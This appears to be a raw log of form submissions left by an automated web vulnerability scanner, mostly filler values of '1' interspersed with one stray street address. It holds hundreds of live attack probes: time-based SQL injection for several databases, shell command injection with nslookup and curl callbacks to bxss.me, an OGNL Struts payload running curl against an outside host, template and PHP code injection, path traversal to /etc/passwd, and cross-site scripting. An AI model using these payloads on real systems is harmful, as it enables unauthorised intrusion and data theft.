"and(select*from(select+sleep(0))a/**/union/**/select+1)="
${866440958+912265213}
"and(select*from(select+sleep(2))a/**/union/**/select+1)="
'/**/and(select'1'from/**/pg_sleep(0))::text>'0
${@var_dump(md5(137641513))};
'/**/and(select'1'from/**/pg_sleep(2))::text>'0
'-var_dump(md5(718834612))-'
'and(select+1)>0waitfor/**/delay'0:0:0
'and(select+1)>0waitfor/**/delay'0:0:2
'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('m',0)='m
'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('t',2)='t
expr 943288764 + 940704305
|expr 843208986 + 979941518
$(expr 999584607 + 813537649)
&set /A 842810933+933547236
%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)
expr 979755294 + 853800754
%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('curl http://x.cloudfleras.com/i/148649/ud3w/9
/*1*/{{935100362+898730203}}
${856573583+892441949}
${(921734059+995011913)?c}
#set($c=933565619+970405405)${c}$c
<%- 908348702+880887725 %>
At home street no 1 Qasimabad Rawalpindi
Information Technology
'and/**/extractvalue(1,concat(char(126),md5(1770286767)))and'
"and/**/extractvalue(1,concat(char(126),md5(1408607200)))and"
extractvalue(1,concat(char(126),md5(1567559155)))
'and(select'1'from/**/cast(md5(1001267272)as/**/int))>'0
/**/and/**/cast(md5('1404085410')as/**/int)>0
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1920648572')))
'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1319953758')))>'0
鎈'"\(
'"\(
'and'i'='i
'and'm'='f
"and"y"="y
"and"t"="g
'and(select*from(select+sleep(0))a/**/union/**/select+1)='
'and(select*from(select+sleep(2))a/**/union/**/select+1)='
"and(select*from(select+sleep(0))a/**/union/**/select+1)="
'/**/and(select'1'from/**/pg_sleep(0))::text>'0
'/**/and(select'1'from/**/pg_sleep(2))::text>'0
'and(select+1)>0waitfor/**/delay'0:0:0
'and(select+1)>0waitfor/**/delay'0:0:2
'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('i',0)='i
'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('p',2)='p
'and/**/extractvalue(1,concat(char(126),md5(1652363725)))and'
"and/**/extractvalue(1,concat(char(126),md5(1436717779)))and"
extractvalue(1,concat(char(126),md5(1206441678)))
'and(select'1'from/**/cast(md5(1044629469)as/**/int))>'0
/**/and/**/cast(md5('1900206516')as/**/int)>0
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1867606549')))
'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1626311888')))>'0
鎈'"\(
'"\(
'and't'='t
'and'x'='u
"and"w"="w
"and"m"="h
'and(select*from(select+sleep(0))a/**/union/**/select+1)='
'and(select*from(select+sleep(2))a/**/union/**/select+1)='
"and(select*from(select+sleep(0))a/**/union/**/select+1)="
"and(select*from(select+sleep(2))a/**/union/**/select+1)="
'/**/and(select'1'from/**/pg_sleep(0))::text>'0
'/**/and(select'1'from/**/pg_sleep(2))::text>'0
'and(select+1)>0waitfor/**/delay'0:0:0
'and(select+1)>0waitfor/**/delay'0:0:2
'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('u',0)='u
'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('u',2)='u
'and/**/extractvalue(1,concat(char(126),md5(1913651040)))and'
'and'g'='g
"and/**/extractvalue(1,concat(char(126),md5(1647704642)))and"
extractvalue(1,concat(char(126),md5(1757620904)))
'and'l'='k
"and"x"="x
'and(select'1'from/**/cast(md5(1423767270)as/**/int))>'0
/**/and/**/cast(md5('1566094008')as/**/int)>0
"and"s"="u
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1148125370')))
'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1384078923')))>'0
鎈'"\(
'and(select*from(select+sleep(0))a/**/union/**/select+1)='
'"\(
'and(select*from(select+sleep(2))a/**/union/**/select+1)='
"and(select*from(select+sleep(0))a/**/union/**/select+1)="
"and(select*from(select+sleep(2))a/**/union/**/select+1)="
'/**/and(select'1'from/**/pg_sleep(0))::text>'0
'/**/and(select'1'from/**/pg_sleep(2))::text>'0
'and(select+1)>0waitfor/**/delay'0:0:0
'and(select+1)>0waitfor/**/delay'0:0:2
'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('n',0)='n
'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('g',2)='g
1
1VLMFmIEO
1
1
1
1
1
1
1
1
1
1
1
1
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
1
1<esi:include src="http://bxss.me/rpb.png"/>
12345'"\'\");|]* { < >
Http://bxss.me/t/fit.txt
1
http://bxss.me/t/fit.txt?.jpg
/etc/shells
1
1
c:/windows/win.ini
1
bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
${10000398+9999560}
1
1
1
1
1kWCvtkYc
1
1
1
1
1
1
1
1
1
1
-1 OR 2+107-107-1=0+0+0+1 --
1
1
1&n995645=v969539
-1 OR 2+881-881-1=0+0+0+1
1
1
1
1
-1' OR 2+910-910-1=0+0+0+1 --
1
1
1
1
-1' OR 2+825-825-1=0+0+0+1 or 'CkZp0Mb5'='
1
1
1
1
1
1
1
-1" OR 2+765-765-1=0+0+0+1 --
1
1
1*if(now()=sysdate(),sleep(15),0)
1
1
1
1
1
1
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1
1
1
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
1
1
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
../../../../../../../../../../../../../../etc/passwd
1
1
1
1
1
1
1-1; waitfor delay '0:0:15' --
../../../../../../../../../../../../../../windows/win.ini
1
1-1); waitfor delay '0:0:15' --
1
1
1
1
1
file:///etc/passwd
1-1 waitfor delay '0:0:15' --
1
1
1
1caHlHruI'; waitfor delay '0:0:15' --
1
../1
1-1 OR 380=(SELECT 380 FROM PG_SLEEP(15))--
1
1
1-1) OR 27=(SELECT 27 FROM PG_SLEEP(15))--
1
)
1
1-1)) OR 743=(SELECT 743 FROM PG_SLEEP(15))--
1
!(()&&!|*|*|
1
1
1
1mVDoBCIU' OR 198=(SELECT 198 FROM PG_SLEEP(15))--
^(#$!@#$)(()))******
1
1
1
1
1
1cLtSQXpx') OR 415=(SELECT 415 FROM PG_SLEEP(15))--
1
1
1
1
1nON2eUt1')) OR 312=(SELECT 312 FROM PG_SLEEP(15))--
1
1
1
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1
1'"
1
1
1
1
1
1
1
1
1
1
1
1
@@My2AD
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'.gethostbyname(lc('hitgs'.'ihcwzdpo8fe3b.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(65).chr(110).chr(90).'
1
1
1
".gethostbyname(lc("hitgc"."yygbzcsb4e210.bxss.me."))."A".chr(67).chr(hex("58")).chr(114).chr(70).chr(107).chr(83)."
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"()
1
1
1
1
1
1'&&sleep(27*1000)*soabkl&&'
1
1
1
1
1
1"&&sleep(27*1000)*pyrsuk&&"
1
1
1
1
1
1'||sleep(27*1000)*qqkbvu||'
1
1
1
1"||sleep(27*1000)*tpadua||"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
1
1
1
1
';print(md5(31337));$a='
1
1
1
";print(md5(31337));$a="
1
1
1
1
${@print(md5(31337))}
1
1
1
1
${@print(md5(31337))}\
1
1
1
1
1
'.print(md5(31337)).'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
create
1
1
1
1
1
create
1
1
1
1
create/.
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
xfs.bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
HttP://bxss.me/t/xss.html?%00
1
1
1
1
1
1
1
bxss.me/t/xss.html?%00
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
"+"A".concat(70-3).concat(22*4).concat(112).concat(85).concat(113).concat(74)+(require"socket" Socket.gethostbyname("hitgy"+"yzvfcpfc0e184.bxss.me.")[3].to_s)+"
1
1
1
1
1
1
'+'A'.concat(70-3).concat(22*4).concat(122).concat(73).concat(99).concat(71)+(require'socket' Socket.gethostbyname('hitpu'+'hgvgmenv62c36.bxss.me.')[3].to_s)+'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"
1
1
1
1
1
1
1
1
1
<!--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"()&%<zzz><ScRiPt >rwHR(9915)</ScRiPt>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"()&%<zzz><ScRiPt >rwHR(9442)</ScRiPt>
1
1
1
response.write(9553754*9866262)
1
1
1
1
1
'+response.write(9553754*9866262)+'
1
1
1
1
1
1
1
"+response.write(9553754*9866262)+"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
19749621
1
echo edwvqc$()\ tjskiq\nz^xyu||a #' &echo edwvqc$()\ tjskiq\nz^xyu||a #|" &echo edwvqc$()\ tjskiq\nz^xyu||a #
1
KuUbYT68
1
1
1
1
1
1
&echo iqzlnm$()\ bjsjlh\nz^xyu||a #' &echo iqzlnm$()\ bjsjlh\nz^xyu||a #|" &echo iqzlnm$()\ bjsjlh\nz^xyu||a #
1
1
1
1
1
1&echo xwtpza$()\ aqnrqi\nz^xyu||a #' &echo xwtpza$()\ aqnrqi\nz^xyu||a #|" &echo xwtpza$()\ aqnrqi\nz^xyu||a #
1
1
1
1
1
1
|echo noneuk$()\ apcqjp\nz^xyu||a #' |echo noneuk$()\ apcqjp\nz^xyu||a #|" |echo noneuk$()\ apcqjp\nz^xyu||a #
1
1
1
1
1
1
1
1|echo ptepnw$()\ eybeba\nz^xyu||a #' |echo ptepnw$()\ eybeba\nz^xyu||a #|" |echo ptepnw$()\ eybeba\nz^xyu||a #
1
1
1
1
(nslookup -q=cname hitrfhktxdewt3c2d1.bxss.me||curl hitrfhktxdewt3c2d1.bxss.me))
1
1
1
1
1
1
1
$(nslookup -q=cname hiteeleyhmjme67b9b.bxss.me||curl hiteeleyhmjme67b9b.bxss.me)
1
1
1
&nslookup -q=cname hithekebncrexd7f13.bxss.me&'\"`0&nslookup -q=cname hithekebncrexd7f13.bxss.me&`'
1
1
1
1
1
1
&(nslookup -q=cname hitlhxsyoatcn08155.bxss.me||curl hitlhxsyoatcn08155.bxss.me)&'\"`0&(nslookup -q=cname hitlhxsyoatcn08155.bxss.me||curl hitlhxsyoatcn08155.bxss.me)&`'
1
1
1
1
1
1
|(nslookup -q=cname hitpboqgqolbt910d8.bxss.me||curl hitpboqgqolbt910d8.bxss.me)
1
1
1
1
1
1
`(nslookup -q=cname hitnkitrrwuji99ab6.bxss.me||curl hitnkitrrwuji99ab6.bxss.me)`
1
1
1
1
1
;(nslookup -q=cname hitbahilfndcu610ad.bxss.me||curl hitbahilfndcu610ad.bxss.me)|(nslookup -q=cname hitbahilfndcu610ad.bxss.me||curl hitbahilfndcu610ad.bxss.me)&(nslookup -q=cname hitbahilfndcu610ad.b
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
bfg6210＜s1﹥s2ʺs3ʹhjl6210
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
bfgx10614
1
1
1
1
1
1
1
1
1
1
1
1
1
1
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
1
1<esi:include src="http://bxss.me/rpb.png"/>
1
1
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
1
1
1
1
Http://bxss.me/t/fit.txt
1
1
1
<%={{={@{#{${dfb}}%>
1
1
http://bxss.me/t/fit.txt?.jpg
1
1
1
/etc/shells
1
12345'"\'\");|]* { < >
1
1
c:/windows/win.ini
1
1
1
1
1
1
bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
<th:t="${dfb}#foreach
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
${10000424+10000429}
1
1
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1qCNBxuaZ
1
1
1
1
1
dfb{{98991*97996}}xca
1
1
1&n912340=v932400
1
1
1
1
1
1
1
1
1
1
1
-1 OR 2+485-485-1=0+0+0+1 --
1
1
1
1
1
-1 OR 2+740-740-1=0+0+0+1
1
1
1
1
1
1
1
1
1
1
1
-1' OR 2+412-412-1=0+0+0+1 --
1
1
1
1
1
-1' OR 2+318-318-1=0+0+0+1 or 'dZPsF0W3'='
1
1
1
1
1
1
-1" OR 2+913-913-1=0+0+0+1 --
1
1
1
1
1
1
1*if(now()=sysdate(),sleep(15),0)
1
1
dfb[[${98991*97996}]]xca
1
1
1
1
1
1
1
1
1
1
1
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1
1
1
1
1
1
1
1
1
1
1
1
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
1
1
1
1
1
1
../../../../../../../../../../../../../../etc/passwd
dfb__${98991*97996}__::.x
1
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1
1
../../../../../../../../../../../../../../windows/win.ini
1
1
1
1
1
1
1
file:///etc/passwd
1
1
1
1
1
1
1-1; waitfor delay '0:0:15' --
1
1
1
../1
1-1); waitfor delay '0:0:15' --
1
1
1
1
1
1-1 waitfor delay '0:0:15' --
1
1
1
1
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
1
1
1
1
1
1
1
1
1
1AiooLY0t'; waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1-1 OR 279=(SELECT 279 FROM PG_SLEEP(15))--
1
1
1
1
1
)
1
1-1) OR 853=(SELECT 853 FROM PG_SLEEP(15))--
1
!(()&&!|*|*|
1
1
1
1
1
19500"();}]9872
^(#$!@#$)(()))******
1
1
1
1-1)) OR 532=(SELECT 532 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1mHPjIuxw' OR 989=(SELECT 989 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1ixh9KTTL') OR 827=(SELECT 827 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
10OQ0KvSr')) OR 102=(SELECT 102 FROM PG_SLEEP(15))--
1
1
%31%39%31%35%33%22%28%29%3B%7D%5D%39%36%30%35
1
1
1
1
1
1
1
1
1
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1
1
1
1
1
1
1
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1
1
1
1
1
1'"
1
1
1
1
1
1
1
1
1
1
@@Sj5L6
1
1
1</script><script>rwHR(9867)</script>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"()
1
1
1
1
1
1
1'&&sleep(27*1000)*jigcek&&'
1
1
1
1
1
1
1"&&sleep(27*1000)*xzcgsp&&"
1
1
1
1
1'||sleep(27*1000)*beaaaj||'
1
1
1
1
1
1
1"||sleep(27*1000)*qggqsp||"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'.gethostbyname(lc('hitmw'.'rybbkueqc43f9.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(72).chr(103).chr(89).'
1
1
1
1
".gethostbyname(lc("hitub"."hovdewiu54941.bxss.me."))."A".chr(67).chr(hex("58")).chr(97).chr(85).chr(121).chr(76)."
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
1
1
1
1
1
';print(md5(31337));$a='
1
1
1
";print(md5(31337));$a="
1
1
1
1
1
1
${@print(md5(31337))}
1
1
1
1
1
1
1
1
1
${@print(md5(31337))}\
1
1
1
1
1
1
'.print(md5(31337)).'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
create
1
1
1
1
1
create
1
1
1
1
create/.
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
xfs.bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
HttP://bxss.me/t/xss.html?%00
1
1
1
1
1
bxss.me/t/xss.html?%00
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
"+"A".concat(70-3).concat(22*4).concat(100).concat(89).concat(119).concat(71)+(require"socket" Socket.gethostbyname("hitwr"+"bcfbjvepcc197.bxss.me.")[3].to_s)+"
1
1
1
1
1
'+'A'.concat(70-3).concat(22*4).concat(113).concat(75).concat(114).concat(70)+(require'socket' Socket.gethostbyname('hitqj'+'eljtrwrp25829.bxss.me.')[3].to_s)+'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"
1
1
1
1
<!--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"()&%<zzz><ScRiPt >b87r(9430)</ScRiPt>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
response.write(9403876*9306654)
1
1
1
1
1
'+response.write(9403876*9306654)+'
1
1
1
Ul0MrwjZ
"+response.write(9403876*9306654)+"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
echo lreblc$()\ zdlazw\nz^xyu||a #' &echo lreblc$()\ zdlazw\nz^xyu||a #|" &echo lreblc$()\ zdlazw\nz^xyu||a #
1
1
1
1
'"()&%<zzz><ScRiPt >b87r(9030)</ScRiPt>
&echo dyarvl$()\ qehilq\nz^xyu||a #' &echo dyarvl$()\ qehilq\nz^xyu||a #|" &echo dyarvl$()\ qehilq\nz^xyu||a #
1
1
1
1
1
1&echo bgyigu$()\ azrbag\nz^xyu||a #' &echo bgyigu$()\ azrbag\nz^xyu||a #|" &echo bgyigu$()\ azrbag\nz^xyu||a #
1
1
1
1
1
|echo fhszty$()\ arbtdg\nz^xyu||a #' |echo fhszty$()\ arbtdg\nz^xyu||a #|" |echo fhszty$()\ arbtdg\nz^xyu||a #
1
1
1
1
1
1
1|echo idqpfo$()\ mwsgrl\nz^xyu||a #' |echo idqpfo$()\ mwsgrl\nz^xyu||a #|" |echo idqpfo$()\ mwsgrl\nz^xyu||a #
1
1
1
1
1
(nslookup -q=cname hitnfciltlxli11d67.bxss.me||curl hitnfciltlxli11d67.bxss.me))
1
1
1
1
1
1
1
$(nslookup -q=cname hitgmxsislukqd4382.bxss.me||curl hitgmxsislukqd4382.bxss.me)
1
1
1
1
&nslookup -q=cname hitldtomyizvz5e581.bxss.me&'\"`0&nslookup -q=cname hitldtomyizvz5e581.bxss.me&`'
1
1
1
1
&(nslookup -q=cname hitqkrwifnycr3f55c.bxss.me||curl hitqkrwifnycr3f55c.bxss.me)&'\"`0&(nslookup -q=cname hitqkrwifnycr3f55c.bxss.me||curl hitqkrwifnycr3f55c.bxss.me)&`'
19309703
1
1
1
1
|(nslookup -q=cname hitgjreirfmkoa1189.bxss.me||curl hitgjreirfmkoa1189.bxss.me)
1
1
1
`(nslookup -q=cname hitngemihaowac3657.bxss.me||curl hitngemihaowac3657.bxss.me)`
1
1
;(nslookup -q=cname hitqkhyhzpxtzd5b34.bxss.me||curl hitqkhyhzpxtzd5b34.bxss.me)|(nslookup -q=cname hitqkhyhzpxtzd5b34.bxss.me||curl hitqkhyhzpxtzd5b34.bxss.me)&(nslookup -q=cname hitqkhyhzpxtzd5b34.b
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
bfg9709＜s1﹥s2ʺs3ʹhjl9709
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
bfgx6153
1
1
1
1
1
1
1
1
1
1
1
1
1
1
<%={{={@{#{${dfb}}%>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
<th:t="${dfb}#foreach
1
1
1
1
1
1
1
1
1
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
dfb{{98991*97996}}xca
1
1
1
1
1
1
1
1
dfb[[${98991*97996}]]xca
1
1
1
1
1
1
1
dfb__${98991*97996}__::.x
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
1
1
1
1
1
1
1
1
1
1
1
19577"();}]9077
1
1
1
1
1
1
1
1
1
1
%31%39%39%39%37%22%28%29%3B%7D%5D%39%33%35%33
1
1
1
1
1
1
1
1
1
1</script><script>b87r(9649)</script>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1jAhE7C9t
1
1
1
1
1
-1 OR 2+209-209-1=0+0+0+1 --
1
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
-1 OR 2+616-616-1=0+0+0+1
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
1
Http://bxss.me/t/fit.txt
-1' OR 2+154-154-1=0+0+0+1 --
http://bxss.me/t/fit.txt?.jpg
-1' OR 2+483-483-1=0+0+0+1 or 'yE6cK0w4'='
1
/etc/shells
1
c:/windows/win.ini
-1" OR 2+123-123-1=0+0+0+1 --
1
1
1*if(now()=sysdate(),sleep(15),0)
bxss.me
1
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1
12345'"\'\");|]* { < >
1
1
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
1
1
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1
1
1
1-1; waitfor delay '0:0:15' --
1
1
1
1
1
1-1); waitfor delay '0:0:15' --
1
1
1
1
1-1 waitfor delay '0:0:15' --
1
1
1
1P5X43ssl'; waitfor delay '0:0:15' --
1
1
1
1
1
1-1 OR 192=(SELECT 192 FROM PG_SLEEP(15))--
1
1
1
1-1) OR 905=(SELECT 905 FROM PG_SLEEP(15))--
1
1
1
1
1-1)) OR 443=(SELECT 443 FROM PG_SLEEP(15))--
1
1
1
1
1biVeZ1AI' OR 170=(SELECT 170 FROM PG_SLEEP(15))--
1
1
1
1r69wYJiX') OR 953=(SELECT 953 FROM PG_SLEEP(15))--
1
1
1<esi:include src="http://bxss.me/rpb.png"/>
1
1K0elqza5')) OR 790=(SELECT 790 FROM PG_SLEEP(15))--
1
1
1
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1
1
1
1
1
1
